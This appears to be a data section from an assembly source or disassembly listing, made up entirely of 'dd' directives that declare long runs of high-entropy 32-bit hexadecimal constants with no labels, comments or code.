		dd 0C29CB0B2h, 0FA892794h, 4CEBE8B6h, 822C9625h, 8D8A3DB3h
		dd 98CC6EB8h, 3B5728A8h, 767E704Bh, 0BF748D6Eh,	3E6C5083h
		dd 7A9D2CD0h, 0F348B312h, 55DBD2A2h, 15FA06C9h,	1D1F36D7h
		dd 5F678F61h, 0ABB65463h, 0BD91E68h, 21D2FD90h,	0D2462B4Fh
		dd 45B7F94Bh, 0EB637050h, 0E205D975h, 0C20A4BAAh, 5563A037h
		dd 5FBEC704h, 6B7C636h,	8929CA9Dh, 0B2B80FEAh, 4A8D78B3h
		dd 2984ECEFh, 0E181125Ch, 8B8879FDh, 71BAD6C2h,	1E245E13h
		dd 6D6BE20Bh, 565F77F8h, 0C55E2B49h, 7395112Fh,	0B831600Ch
		dd 3455DAA1h, 56EA4A18h, 58F23AE4h, 2D9D0C66h, 0E5BBDA56h
		dd 9A8472D9h, 0A878F1DAh, 6D0B3A46h, 25B549DCh,	259CCCFEh
		dd 703A4099h, 0C77515F1h, 0DF706556h, 9B30ACCCh, 0F28BB9EFh
		dd 4D9FE3CCh, 0A4AC5276h, 5D9CEFCDh, 0D003BBCAh, 0A3B7C8ABh
		dd 41D6A798h, 62E275F5h, 0F96D7739h, 46310A2Dh,	4FA0E93Fh
		dd 0CEA5834Bh, 844EA73Dh, 0BB46186h, 9121BB6Fh,	0A5041E13h
		dd 344FAC67h, 97AD253Ah, 5FE1FC3Ch, 0C480CE3Ch,	0DA75E9E4h
		dd 5816BBA7h, 0FF13F1D0h, 0F3905B27h, 2D806622h, 0D26ED43Eh
		dd 0BF746D80h, 42566A91h, 0FD03F9CAh, 0B2B13A1Ah, 0D9790B48h
		dd 0D294A2C4h, 5ADE1F2Fh, 0AC310C1Ch, 0F6EF419Dh, 0C4670D9Eh
		dd 0A74CF8BBh, 5F0EC9Ah, 0CF65201Fh, 428CEA29h,	0CCC08ECCh
		dd 8F609A15h, 0FBF3F0DBh, 0E24AE262h, 0D7EAEF6Bh, 0C06741DCh
		dd 97CE9197h, 7F52FB8Ch, 0F2C639ECh, 85511Dh, 2F0A11CEh
		dd 0A5DD87FBh, 0E9AF215Bh, 17A43907h, 0D458E1F7h, 0B6A15E54h
		dd 9E58D31Fh, 0DED2FC23h, 2A5CD989h, 0C871986Dh, 4D3DB714h
		dd 0CAD96FA7h, 90DBD0CAh, 0FCE65935h, 74A3127Ah, 3209769Bh
		dd 0BF875085h, 0F71667EEh, 4FD6A46Dh, 38EEEFCAh, 0D455A06Dh
		dd 776FAE94h, 76CB774Ah, 791CD30Eh, 0C61EFE1Fh,	34FC0308h
		dd 686AA512h, 15030EDFh, 0EA234829h, 6E38DED7h,	0ABF08F9Ch
		dd 6EBFFCEFh, 6F8E7295h, 4B8481F3h, 0BAC755h, 0ABEC57BBh
		dd 3FC5EEC2h, 4DE90E49h, 9CCF6EC6h, 4F04F65Eh, 67A139F3h
		dd 0B2ED1408h, 0ECDBF372h
		dd 6462483Bh, 0EF079502h, 17C9E7C8h, 68872507h,	480CCCF9h
		dd 0FE6E7338h, 0F3D42F58h, 90DA7333h, 69F120B5h, 0D4404BECh
		dd 5C272B98h, 0ECEAC7FFh, 4ADB15A2h, 16BB7363h,	17A19E27h
		dd 6968AA1h, 446C9FACh,	0B8B7B6D1h, 939F5C3Fh, 26F7D29h
		dd 38652E11h, 0D81F915Dh, 0F282DDB5h, 574DBADDh, 0CBA5442Dh
		dd 47DA5B27h, 20B08423h, 95835E06h, 941CB7B7h, 5CA65818h
		dd 5DB955F5h, 0BA96AC59h, 3CCD102Eh, 8879BB68h,	0C388A3B2h
		dd 31E5ACCFh, 5EE58D37h, 0E92EEFE1h, 90B673AFh,	7E195A5h
		dd 3A4769A5h, 3620846Dh, 0F4F8Ch, 6E36EF6h, 70124AD4h
		dd 43E5C217h, 3893902Dh, 0CE6C76BCh, 6A4D61FCh,	0C80F15BBh
		dd 919E577Ah, 7124E416h, 596E3F52h, 0EEF8BF3Eh,	0ABEF86F5h
		dd 0A70B0B39h, 6F22D7BAh, 0C62F2A8Dh, 5A95661h,	0A6EC79Bh
		dd 26337D0Dh, 63978DB7h, 8B6E855Ah, 7ED00117h, 4A3D8011h
		dd 9F21C4B8h, 9414921Eh, 7FF86A6Fh, 0E7FB0964h,	8755202Ch
		dd 2F61DA48h, 55DBDC85h, 45937DCBh, 0D1FDDD10h,	0DD86BD47h
		dd 0EE269DBDh, 9B5E431Ah, 1DC81E1Bh, 34962186h,	0FD5034Bh
		dd 69BC0C71h, 0BEE63126h, 7C28536Fh, 9C1919B2h,	0AC945FF9h
		dd 48F5A066h, 0A9C8C848h, 0BCFBBDBh, 61F3FE42h,	0B6F18326h
		dd 7934C5C2h, 52E71482h, 0F77CE83Dh, 60A0F599h,	0F299579Fh
		dd 3A38CCD3h, 1804B5E7h, 0D0E01A1Bh, 39C43A2Ah,	0BC4D7736h
		dd 94CEAAEBh, 25CBD45Fh, 4BEC8FEEh, 796698E0h, 6A19B402h
		dd 7741B6DEh, 0C09D31C0h, 0BD383A25h, 4B433195h, 0CA21C279h
		dd 6BC26551h, 0B13595EEh, 0AE5A23B3h, 65600F53h, 7A63D70Ah
		dd 0EEDD6199h, 0ECE3863Bh, 0A7129449h, 0C2E21965h, 3A073312h
		dd 1D0219A4h, 39C6D8F6h, 612FF6F0h, 0D943283Ah,	0B97EE1AEh
		dd 5FA604BFh, 36FC3C6h,	3A7110C1h, 53E228E8h, 32D5F10Fh
		dd 3AD1AF5Ch, 62F0E0A5h, 53631640h, 5BC038D3h, 0D98FF60Eh
		dd 541D160h, 0E2C81E50h, 6F91FC38h, 5BB4C4C7h, 87F544D0h
		dd 99B562A7h, 0F02FC6CDh, 0B39D658Ah, 0E1E0BF19h, 38C6786Ch
		dd 6CE46783h, 0FC09487Bh, 9528ED0Fh, 0D7403880h, 0DC2569B1h
		dd 28C245Dh, 0A47D4A2Ah, 45B6DFBEh, 0A139BDABh,	0D4E4C68Eh
		dd 0EE3D3A24h, 8006D469h, 6F46CF56h, 698C46BDh,	8A60F249h
		dd 554A040Dh, 7853EDD1h, 2B4DA3E0h, 0D5E62144h,	32BBB704h
		dd 6DCAAB21h, 0C41EE5Bh, 345A19D5h, 0C4553482h,	0BCEBF505h
		dd 0B4286F20h, 0A133E1Ah, 204E55FFh, 0DEE687F8h, 3686799Ch
		dd 12ED0D1Ah, 832504AEh, 47334B3Ah, 5C5AA43Eh, 0BBD22D4Fh
		dd 94969D97h, 0B45EE5B0h, 516C5506h, 0B02D068Eh, 0AD2B5EA5h
		dd 7EC66376h, 13371084h, 0E507116Bh, 37C7FFFBh,	5920E56Ch
		dd 3B588217h, 0DD898A08h, 3175A846h, 0B971B9A8h, 6C9D00A7h
		dd 78137AEAh, 0E982926Dh, 0EDAE265Ch, 506349C8h, 0B01F5912h
		dd 5B8669F3h, 0AAF7DA36h, 17D2EC92h, 0D95E5813h, 0DA277E2Ah
		dd 0EDDC5A1Ch, 5F3BD0C6h, 0BB0034C6h, 0FB7795E5h, 0C7C6B30Fh
		dd 86962580h, 0B8022F2h, 45BDD2A9h, 51E3B3Ah, 26E55A00h
		dd 12895E5Fh, 0B1900F9Fh, 50BB8DD2h, 830A1DE2h,	2B4F86A8h
		dd 0CF0AB619h, 0F5E8C2C5h, 4FE2C7BDh, 61E7B9D4h, 0C06A1B83h
		dd 4A5206B6h, 0F446D29Dh, 3459CBB7h, 2215DE08h,	4A87E324h
		dd 4F6A926h, 302C3F90h,	0D6B8AC4h, 0AE206822h, 366F9E9Ah
		dd 668C9C90h, 8C23464Ah, 0F38559A5h, 8B3CBF7Fh,	0E56D19EDh
		dd 0ADE8451Fh, 4333155Ah, 9C78E53h, 7B369AAh, 3A7FD3EBh
		dd 8E4FB72h, 0DFA39CC2h, 2BA09360h, 909018ACh, 8ABB638Bh
		dd 2BA12937h, 76FF3E64h, 0FB6096ABh, 0FFD70FA6h, 0C369A4B7h
		dd 364F0057h, 8774A363h, 0C520039Ch, 0FF056E1Eh, 0FCB1A51Ch
		dd 562C21ACh, 1377F21h,	415601C9h, 1081647Dh, 513ACF8Fh
		dd 0F7B8B40Dh, 0F3CDD228h, 6694E75Dh, 31850B50h, 0B6237C43h
		dd 6A7FB721h, 0B2ADE49Bh, 7C73BF46h, 8A7DE991h,	9F06BF7Ch
		dd 589E23B5h, 359436F2h, 0EBCE5CA6h, 95D1147Eh,	3DCC9E5h
		dd 43EDB76Ah, 0B20C2F09h, 0FDAF45Bh, 0DCCBC7AAh, 0E498E70Dh
		dd 4B8E697Bh, 0C79FAF2Bh, 314DA5DEh, 91FEB15Fh,	0EEC74C3h
		dd 0E6A53910h, 4751F1CCh, 0AEA47984h, 0FA30569Bh, 6DF9A92Dh
		dd 0C1E12431h, 0B1C3432Bh, 0E22626DBh, 65DC0194h, 32B9B65Fh
		dd 3D8B059Dh, 14D7F8F3h, 2745DF17h, 270F4CA2h, 75A1A334h
		dd 78D0145Eh, 49E70B81h, 0A60997BDh, 0D4320BAAh, 49DB574Ch
		dd 895A04FCh, 0D8D8C02Fh, 104C2D93h, 5063C0Eh, 0FA94840Fh
		dd 0AB82CA2Eh, 0ACF86289h, 0C30442CBh, 16E28021h, 2EEF6C4Bh
		dd 0D70C85FEh, 0F175D8Dh, 0AF7082FBh, 2A878EA6h, 2EAC913Ah
		dd 89BF6026h, 0A71C6352h, 0F13097EFh, 4CFD9636h, 0A3CD983Dh
		dd 6B1CD531h, 2BBDE175h, 9645BB79h, 0C99DC854h,	431E5125h
		dd 3F07502Ch, 2A306BBDh, 275ADB0Ah, 8BB58C5Dh, 547C32ADh
		dd 48187D79h, 0D17E7185h, 21C949FCh, 98DC7C77h,	5B19E9D1h
		dd 120D0FBAh, 377EB397h, 0BBD01276h, 0E46A41FCh, 0EE2FC99Fh
		dd 4B01F09h, 0FAB1AE9h,	0A9C6651Ch, 98D2F28Ah, 7641E402h
		dd 2BC71EC9h, 0AE26E99Fh, 89695855h, 14F83355h,	72B63560h
		dd 9BD56DF0h, 0D5CF7E0Fh, 0BA26908h, 23BB4F01h,	0C489925Fh
		dd 2F26BF3Fh, 0CEF8D582h, 0E47586DCh, 0B7E09C0Bh, 50F474FFh
		dd 0C3436052h, 0A41F7A3Ah, 590BA081h, 2FFBFC74h, 993AAF27h
		dd 0F73E0201h, 0E39C5616h, 84B844DFh, 0B69ED1EEh, 0AB10FB78h
		dd 0E28214ACh, 0DD8D0833h, 1E25F046h, 9595754Eh, 9DB736F6h
		dd 0EB14978Dh, 987115B2h, 74AF4B56h, 4AD12B54h,	0EBA1F38Ah
		dd 74E3E741h, 93C74376h, 5707B00Ah, 904EFA1Eh, 5935A9E1h
		dd 84F3E0D6h, 193FD459h, 1EC737Bh, 3754C6E6h, 5A5CBB27h
		dd 0B110E767h, 3212E24Dh, 773795ECh, 4C8B847h, 0E7F86860h
		dd 9730F5C8h, 0E54F0014h, 0ED58F998h, 253717E7h, 0AC55CD52h
		dd 3BC98E2Bh, 0C8B795A0h, 4EA35137h, 11D9EEBEh,	6987F2B8h
		dd 0EBA044A2h, 51714E89h, 3FA44B44h, 9C23571Ah,	0E16F4872h
		dd 91A309E4h, 0E49AC8Ch, 0BEEE7ADh, 3EECA4BDh, 0B97ECC65h
		dd 0AFC7AD3Eh, 8D690021h, 0DA7362C6h, 0D408B8A5h, 0A8B2141Eh
		dd 62BD2C25h, 2A63C814h, 271BB6E8h, 0A0CABCDCh,	924EA6D1h
		dd 0A01C372Eh, 1D5B26B7h, 6181983Dh, 1EB8DE43h,	323CADBFh
		dd 2E6755E9h, 9DF89F85h, 0E13502B5h, 0E2A6A9A7h, 0CF5890DCh
		dd 894B93E5h, 0D17D9A66h, 31A132F3h, 37A93E73h,	1AED5772h
		dd 1889348Dh, 0F645B65h, 0D7EB59AAh, 0C17101A7h, 0DDB1578Dh
		dd 0DDCDA361h, 0B1D03C82h, 18FF4552h, 0F9F63522h, 0AEE92D71h
		dd 89F352A5h, 0A05047C6h, 6B2BCCA4h, 68CD7297h,	9034F196h
		dd 0A0D3D401h, 2E58DD69h, 35CEE5EFh, 21EE8887h,	0CD7E7A86h
		dd 0EC63002Bh, 0F7899398h, 246F8072h, 0DD595720h, 0B2627F7Ah
		dd 8CAAE73Ah, 4C21C679h, 0BA42D820h, 3F11FC56h,	0C33E0921h
		dd 0BB799AE0h, 4CA25195h, 603DFE35h, 80CD647h, 0FB0185B8h
		dd 4B8A7A07h, 5407CD33h, 100FC436h, 0D1E86B8Ah,	0BAB958F2h
		dd 325C5DE0h, 3BC125h, 4344A2E3h, 894B6017h, 7B99590Eh
		dd 441FDB39h, 0D67CC1CCh, 0D0278482h, 6468830Ah, 4840413h
		dd 51500225h, 0B50E5E3Dh, 7B47B3FFh, 9D0E240Fh,	967BD91Ah
		dd 0E0A2464Ah, 4742B8CAh, 965D5207h, 70D1EBC1h,	0F2AA4067h
		dd 5405D1A6h, 0ABEDBBA2h
		dd 0CC182E9h, 0B5405D12h, 0A87AA23Eh, 387A3C83h, 0CB1C5F1Eh
		dd 96BD5D06h, 3A8E8149h, 59635B33h, 90F8BDB3h, 3E5D075Bh
		dd 0F3B2825Bh, 6FF435CAh, 3BEACA36h, 5D1D78ABh,	0A1AC138Ah
		dd 0D8633C66h, 0F5E280B6h, 26901582h, 0BB20EA0Bh, 0B924AAE4h
		dd 0BC987F5Fh, 7DEA4751h, 0F91565E1h, 0D29296BCh, 44B5DCF2h
		dd 21524749h, 2E25172Bh, 305F00ABh, 549B6817h, 0DD93543Fh
		dd 8E020524h, 0F96679E6h, 43AFEF49h, 26E34F4Fh,	6374A54h
		dd 3565AE36h, 78E07AB7h, 0F66A177Ch, 0F8445173h, 0E541AA2Ah
		dd 7E7B43D8h, 7F5CDB1Ch, 12DEAEDFh, 42AA37D7h, 62C57A39h
		dd 0D7261B05h, 27521ED7h, 0B469F86Fh, 359DEE96h, 0F2C06147h
		dd 0B9C0277Ah, 0E45278B7h, 0AC111E7Dh, 0AE38DD43h, 0C8EBCE52h
		dd 0C61F0FCh, 0DC108228h, 0B1E9EA89h, 0A0E7B485h, 0E1475FA1h
		dd 93A66E89h, 97628996h, 49D736E2h, 0DAF443E1h,	0B092F184h
		dd 7F3BD657h, 0DF7E4101h, 22A989BBh, 0AE9ECF98h, 0B65CA474h
		dd 8B1CA918h, 4FF524AAh, 62DFEB1Dh, 0C6C2A9BDh,	6A6BE306h
		dd 0D40DC722h, 364C46E3h, 0DCBA297Bh, 0F0B5DC42h, 3B426A5Bh
		dd 847C6E7Ah, 9B13FA7Eh, 0EE68B86Dh, 0ACE92244h, 0ACF5169Ah
		dd 74416828h, 126D46B4h, 12CA254Ch, 2619F56Dh, 0D1A686A5h
		dd 0F6EDC617h, 7BC4C4FEh, 8CC0DDB2h, 1781A8F3h,	901036D1h
		dd 9DB84CFEh, 3CE76869h, 0B4F4C1A0h, 52BB6F0Eh,	0F575DA05h
		dd 0DDD9DF65h, 30F5DD78h, 0C1C1CE82h, 40FA5A69h, 4E836969h
		dd 0FB6F2E36h, 87AC6D9Bh, 2B72764Bh, 0AEC1BF37h, 1F39EF0Eh
		dd 405BED95h, 5B9C1EADh, 7CDBD513h, 0B3E38490h,	0C640E530h
		dd 39A57840h, 0DB79819Ah, 799E1FFEh, 3C81C730h,	897711B8h
		dd 0D484CD58h, 0E814F2E8h, 26E15CEEh, 6B3FB9F8h, 7C5727F6h
		dd 0CB305179h, 66CC75CFh, 4B62C48Eh, 3CBB3CF5h,	0EE04850Fh
		dd 78968802h, 3D7E0C94h, 4AF58C3Ah, 0A9D5B7F2h,	0B0E88A1Eh
		dd 0E5B8F2Dh, 0B4556927h, 0C3327240h, 0F79B8AE2h, 0F5EC4C2h
		dd 895A878Eh, 353305ECh, 0B9554F5Ah, 37032255h,	0F02C1BD2h
		dd 0C363C714h, 0CACB203Ch, 0E6B8FC10h, 0B0E2E718h, 0A38F08A0h
		dd 0CF78598Fh, 12E59604h, 0ABEC8A24h, 0D45446B3h, 0F363368Bh
		dd 0FD6B6608h, 7BB4F18Bh, 24AF9FD6h, 79AB4A69h,	2AC778D7h
		dd 0EDC66360h, 3E4EB4E2h, 8B349354h, 395C2887h,	21881B42h
		dd 300657E2h, 4778FF5Fh, 0B737DC60h, 0B03C5471h, 0D83BDDB8h
		dd 366EF2BFh, 3F983EE2h, 121C557Fh, 57EC72F6h, 6521E71Fh
		dd 0C56B4F0Ah, 0C2EC7438h, 0F4B0450Bh, 593B59D5h, 0D0815FAAh
		dd 52B38F9Bh, 0FC7D74CDh, 0EE04D084h, 0EB74F81Dh, 2BF3D3B9h
		dd 1B7583C8h, 0EF1236DDh, 41A17B2Bh, 0EF01F48h,	4090052Dh
		dd 797ED700h, 0BA5884BAh, 520DC55Dh, 0A00D5D61h, 4D6B2425h
		dd 9CA46719h, 0CA2770EBh, 4A4B5ADAh, 435DB7A7h,	0EBB2C4Eh
		dd 4C96A167h, 0EF34EB9Fh, 0DBB77FB6h, 3E247F84h, 859978CAh
		dd 90C1588h, 4E75A1BAh,	94868060h, 0BB003C69h, 7488FAD9h
		dd 2A321F0Ch, 0CCA0C0C1h, 357B25E0h, 73D51149h,	0A21D93A9h
		dd 4328F146h, 2A18D576h, 483BEF4Dh, 0FFE7FA58h,	11FCFEEFh
		dd 30324ED0h, 0BEF353E8h, 0CEFAD5F7h, 54E45EF1h, 0E239076Eh
		dd 4675C034h, 0CCF45E35h, 4B1327h, 731A320h, 5E9CB6Ah
		dd 77E1AE07h, 91558C8Dh, 0F179B1D5h, 67446153h,	1F72ECF0h
		dd 6DA5CBC9h, 0C43BD526h, 56399B3Fh, 605B5F23h,	0BF2494B5h
		dd 11C679ECh, 14CAE756h, 3C5014ECh, 1A87ABEh, 196C792Ah
		dd 0E491C856h, 9B43B63Fh, 17E8ABE2h, 48A20DCDh,	60DC8AC0h
		dd 6D466765h, 1089D030h, 0D7C60E8Ch, 2DD93E66h,	8F1ADECh
		dd 446477B4h, 0ECDA4141h, 0F499E2CAh, 0C9F3A97Fh, 36652D79h
		dd 0CDC2127Fh, 506F5B8h, 0EF08ECACh, 0DC73AA95h, 0BFB1DEAAh
		dd 51584084h, 0F7B4683Eh, 0FC7C86C4h, 0FBC352DDh, 159E7F9Bh
		dd 82183980h, 76633046h, 0E9159442h, 8F3E7D5Ah,	9419A345h
		dd 6FC940DFh, 0CF75BA6Eh, 0C68BB39Eh, 481BE696h, 898215ADh
		dd 9ED671D0h, 94677E97h, 224B5ADCh, 43D6DF67h, 0F2ECB180h
		dd 1F92CBC6h, 0A6F93B55h, 7C51DA6Fh, 7969DFCFh,	0EA97498Bh
		dd 0ABB047B4h, 43856F0Ah, 21EE5547h, 1874FE67h,	0A200E792h
		dd 0B0F1F061h, 8AA8404Ah, 4EF15BBDh, 31E7DA21h,	571DA5D7h
		dd 5A335296h, 1B8B9003h, 0A05998Ch, 2EED0A15h, 0D769E6E4h
		dd 0A2E98238h, 0A8C2FA7Fh, 8696E78h, 0B1982A4Dh, 1B49F89h
		dd 7BF169D7h, 1D5E9815h, 0A5D06D50h, 0D6ABAA7Bh, 4513986Bh
		dd 7F875684h, 547BEE0Eh, 34D0B47Ah, 0C8EE0649h,	942F4952h
		dd 1B09783Ch, 0E104228Ah, 0E76D14B4h, 8BF8132h,	0D2CB7C51h
		dd 0CF71EF6Eh, 0BBC95361h, 55CFF8BAh, 6734E10Ch, 3FCABF7Fh
		dd 49E26167h, 126C4291h, 707F69BCh, 0DDE8B9Ah, 10675350h
		dd 0D6B77295h, 0C3A49B74h, 86F7A0E8h, 607BCECDh, 0D18F4EBAh
		dd 4C18BE9Fh, 64FA716Bh, 6AC1B9FDh, 0B04B5251h,	9863006Ch
		dd 72B299Ch, 0B1066CDBh, 7CD2DF68h, 0A1DC220Dh,	204E06Fh
		dd 7B3CBFBh, 8F67DAE9h,	883FDE22h, 10C1D767h, 0E6F6EF6Bh
		dd 0DD20ABDAh, 7B7E6865h, 3E5DF8BCh, 69CFF1AAh,	0F43812B3h
		dd 3EE4F849h, 1FAD8B50h, 0B4FBE04Ah, 0A7D13665h, 35D8FCA6h
		dd 8D8DF9CFh, 0E1ABAD07h, 397E0BEh, 0CBB3F785h,	0D38B87ABh
		dd 0E5ABEEE0h, 938CBC1Dh, 76A38F5Dh, 918DBABAh,	41333509h
		dd 77BE65DCh, 6E6FC3BBh, 0BCE9032Ah, 0AAF09B69h, 825F8785h
		dd 38A06148h, 23C0A6EEh, 881DBB0Dh, 87AD1105h, 320732A9h
		dd 132DCDDh, 74ACF5h, 1E738D0Bh, 0DDDF2E28h, 0D1750743h
		dd 1BEE4158h, 0CAB67BDEh, 689E1C2h, 978A3C0Fh, 0A13C897Bh
		dd 0A3833A9Bh, 434080CDh, 9E76E251h, 204568C4h,	9CDB0C3Eh
		dd 0FB7CE0BCh, 632C5A3Ch, 0FCE881EBh, 64075495h, 69E9F58Fh
		dd 58B3547Fh, 0C01F255Ch, 43893DA8h, 6CA15916h,	0A058576Dh
		dd 0A322A5F6h, 0EF279228h, 306FB565h, 4C1AD9CFh, 6597262Ch
		dd 9FE9250Fh, 7A727803h, 2079B027h, 0AF2A0362h,	65BA8309h
		dd 0B8412401h, 0ADC3D878h, 0B3434575h, 0AF1DFE56h, 0D0E81BEDh
		dd 40F2BEA8h, 8FFF8B24h, 956DBEBAh, 1544768Fh, 80A7D929h
		dd 20B6240Eh, 6B9E0092h, 0C89C082Eh, 870139E8h,	5D740021h
		dd 825DBDA6h, 2CF103Bh,	28A116C0h, 9B84C575h, 48B6D9BEh
		dd 7190CF40h, 0D1114181h, 65C3663Ah, 2D5CAC94h,	58F2C9DFh
		dd 3B17D8ACh, 0A59AD63Ch, 30C9B951h, 0AC3A3C51h, 1A79EDFBh
		dd 0CFFD4599h, 598768A8h, 0E91FC5E1h, 8F578AF9h, 0FE244EBCh
		dd 4E8465C8h, 5667071h,	544BEE4Ah, 2400E609h, 30A53B43h
		dd 0E3F069FEh, 0F03B2854h, 4AC7566Dh, 3D762504h, 67D3E43Fh
		dd 3FF9AD1Ch, 1C7A463Bh, 0A833B411h, 9C05AE03h,	9CF25369h
		dd 0F325F26Fh, 600E1B62h, 65309070h, 68209949h,	0A0F58297h
		dd 71C6CC7Eh, 0F3E04B4Eh, 90139B20h, 7CB23CC9h,	0F90824EBh
		dd 0A48B4EC5h, 0FDBBA26Dh, 3AC94247h, 833FE87Bh, 29393504h
		dd 9C9F554Fh, 7AEA168Fh, 5296B696h, 1064C423h, 189C53A2h
		dd 399AAFF0h, 4CEF0267h, 86546333h, 967C5E28h, 7547CC1h
		dd 0BBD91B84h, 7A9CB1E5h, 0D5B49F53h, 2FE70B2Eh, 4010F078h
		dd 0CB090BBCh, 9B550B15h, 0A549F2C5h, 0B59CF73Eh, 0C1C8C0Ch
		dd 34CA0BE7h, 67E4235Eh, 591F265Fh, 0FC151760h,	0DDE3234Bh
		dd 0CA674551h, 0EF5EA8F2h
		dd 8BDA79B8h, 73856E2Bh, 34DA7772h, 0DA956EF5h,	0D378DD92h
		dd 0E0A53D46h, 26145E6h, 483E9234h, 0FB35A60Fh,	5DAF0C6h
		dd 118AEC68h, 0F1CDBEBh, 0F5A147A0h, 0B3350F77h, 94C14830h
		dd 15325915h, 90D516B7h, 0D0A82386h, 9599255Dh,	8C807E2Dh
		dd 74F1261Bh, 0ADC2E912h, 4BE244A8h, 5E978D0Fh,	0B7A439ACh
		dd 4F98CB15h, 0D4794210h, 0F29F8026h, 0E48CE6EEh, 0EE120726h
		dd 0D3FA9FB2h, 85D3F73Dh, 87985809h, 0DBA28397h, 4D85A68Bh
		dd 0DC36DC6Bh, 45E8A74Ah, 0FA4C564Ch, 585B47BEh, 0C5D44130h
		dd 0AA094F63h, 0ABA31EC5h, 59DAAEA8h, 1D105357h, 2DA0F3CAh
		dd 550A284Eh, 74F2D2D6h, 3C6B8B11h, 0E251ADAh, 23266DC8h
		dd 4EF9A3C7h, 0FA1B05FAh, 71BA538Ch, 8ADD40FBh,	41443594h
		dd 5B40CD0Ah, 439B0F5Bh, 45B9FB04h, 9CC46ED3h, 5E67815h
		dd 29BCFD9Fh, 0C54F120Ch, 9D9C1CDAh, 0D19C993Fh, 17B9A83Bh
		dd 33FCBC76h, 0EFFE4402h, 31166E16h, 8FC25FAAh,	425D16EDh
		dd 813D9ED1h, 0D81D3808h, 30D9C12Eh, 560AB46Bh,	84EB4A9Ah
		dd 822DFDF6h, 0DD3A64E4h, 0B4CD9E39h, 8C4F300Ch, 0FC5D47C3h
		dd 9AA78643h, 0E0E8FDAAh, 9A93E5FFh, 8388BCCFh,	0F9805DF0h
		dd 7D09FBB0h, 862BE91Dh, 0D2CEA9A9h, 0E4D9799Dh, 0F38E0A38h
		dd 3E2CBC69h, 0B7071E02h, 0EF25DC75h, 9D34917Ch, 0A3E60D9Ah
		dd 0AB92B292h, 13AA5038h, 0AA1FE3ECh, 0DD4E1EE9h, 0C8202248h
		dd 0D0ABC52Eh, 9B2ACF07h, 0CC57757h, 0AD8F21B8h, 0E2A87F6h
		dd 0C0168A19h, 7643BD5Bh, 0D844A41Ah, 23E97762h, 0EB89406Fh
		dd 0FD6E1490h, 0E7445841h, 33689BA2h, 77C371B4h, 5A720080h
		dd 8A742B14h, 81C08A2Dh, 0D493B745h, 0C2445D25h, 0F246A442h
		dd 0E9D631Dh, 0F536ECCBh, 0FD5814AFh, 63EF8515h, 0CD568452h
		dd 5D1B1184h, 89F1C528h, 76F22448h, 0AB50259h, 845E566h
		dd 30111AA8h, 0C1035C68h, 0AB550921h, 0DB6DC990h, 4C09BFA8h
		dd 0F21F532Ch, 96EC4B42h, 5F05CE7h, 0D2003C27h,	9FFC8F7Eh
		dd 92C715BDh, 0C40F0EA0h, 5171B9D9h, 823CB9CDh,	446FBBBCh
		dd 7F9BD2D6h, 450F066Eh, 3F8E066Ch, 0E2DDBE97h,	9FDAD61Dh
		dd 33E82283h, 33B1755Eh, 3A080589h, 0F649F931h,	548EF88Bh
		dd 9C546F39h, 0F4DB2B60h, 9D519E9Ah, 0B67C89C2h, 0CAF51744h
		dd 8373BB6Ch, 8E0D041Ah, 0C946D09Bh, 81A8F77Eh,	2A517ADh
		dd 9DC1896h, 8833157Ch,	497A816Ch, 6FCC5E61h, 0AF69AD16h
		dd 0CBC337A2h, 68752E7h, 0D85C5E9Ah, 0F05A5AA9h, 49505E7h
		dd 96ACAD09h, 985F398Dh, 8CA1FDC0h, 0AFFD081Ch,	0EE89F00Eh
		dd 0DB3A950Dh, 658610E4h, 481EFAAEh, 3F235F89h,	753A03D0h
		dd 0C2FC0833h, 2B8FCD5h, 573C5226h, 0F2E00388h,	0DED244D0h
		dd 0FAE5B8B6h, 0D99B5502h, 90A65B13h, 281E82BAh, 0F568D297h
		dd 8B3A6DB5h, 15833B83h, 0FD99D90Eh, 18388535h,	0DBE6DA6Bh
		dd 4158D979h, 1C66E315h, 0D0935DE0h, 6390BEB1h,	5FA3FABDh
		dd 4D03E273h, 0E3AD14CFh, 4B60EA75h, 61EEB253h,	0DBB8B14Dh
		dd 0FF2BD716h, 1F8FAF1h, 300CBF65h, 0B7097672h,	0F490DBF4h
		dd 7960F263h, 80F60D3Dh, 50239221h, 1B2A4E59h, 6744B96Bh
		dd 0EB30883h, 7CD68BB6h, 0F887997Ch, 6077063Ah,	577EFA44h
		dd 6B6313E0h, 0A815E11Ah, 0BA78713Ah, 61CCB8C5h, 0A2733100h
		dd 0B7210171h, 0C59EBB68h, 1EBB389Bh, 96FE4E6Eh, 8DE132CDh
		dd 9C5CB5F6h, 12E11DF3h, 0B9BE8370h, 282D258h, 0B0D02326h
		dd 4418FC85h, 0C5FC5470h, 0C5655185h, 0EE3F4ABEh, 0CDA94780h
		dd 0FEF7151Ah, 0CFA68426h, 0ADA0D282h, 91F6D6D9h, 4BCBE79h
		dd 8AD6BBCFh, 5C0EB86Eh, 71D138EAh, 0EB577045h,	7E881D0Ch
		dd 88ECBD02h, 0E609C0A4h, 7D6AC10Dh, 0DBE8BCC6h, 5B2E5820h
		dd 764B9086h, 0C5FFE7E0h, 1004D061h, 4FCEC650h,	5355D92Ah
		dd 24220103h, 36C7FD37h, 0B963F323h, 0A056D244h, 24EB8809h
		dd 918579E9h, 9D211F17h, 5B988FC1h, 8C16AF5Ch, 9E9EE3FFh
		dd 3CEB9B85h, 0C6D8EE15h, 10F4F190h, 4C88E2C8h,	0B58D104Ch
		dd 79F36B49h, 254D6E94h, 3C361921h, 651C378Fh, 0D8E54327h
		dd 3258EB52h, 5B554B2Bh, 71459F2Ch, 0E5E2F32Dh,	74D485D8h
		dd 64755873h, 0C9B9AEC1h, 5B3301BBh, 0B0076B9h,	0DFE09CF8h
		dd 4CC0AF1Bh, 40A2BD24h, 6EBEC422h, 2D932937h, 0AC9F2B99h
		dd 1CC83267h, 70CC6996h, 38BC5F3Ah, 0CCCF556Eh,	0B095974h
		dd 63AE3364h, 0DFDA7E9Dh, 95F0E5D9h, 74D6A7CCh,	349850F3h
		dd 0A0CBF84Dh, 54B91317h, 11323FE4h, 0E2D5D1DBh, 0C949012h
		dd 6EACFF27h, 6BA55509h, 5734E5AFh, 2B15F83Dh, 0FE8AD788h
		dd 1FEFB90Ch, 0A9CDAE71h, 0DC40626Ch, 682055B4h, 94916FA9h
		dd 0EE0E65C6h, 2D99416Dh, 0F5EB0297h, 0CA61D49Ah, 6A7B4E6Ch
		dd 616BB7Ch, 0B3FBCED5h, 7EBDE3CDh, 98769AE3h, 3071538Eh
		dd 6A3A33A8h, 77C8B64h,	0B358DA4Ah, 0E8FC31E5h,	6264F895h
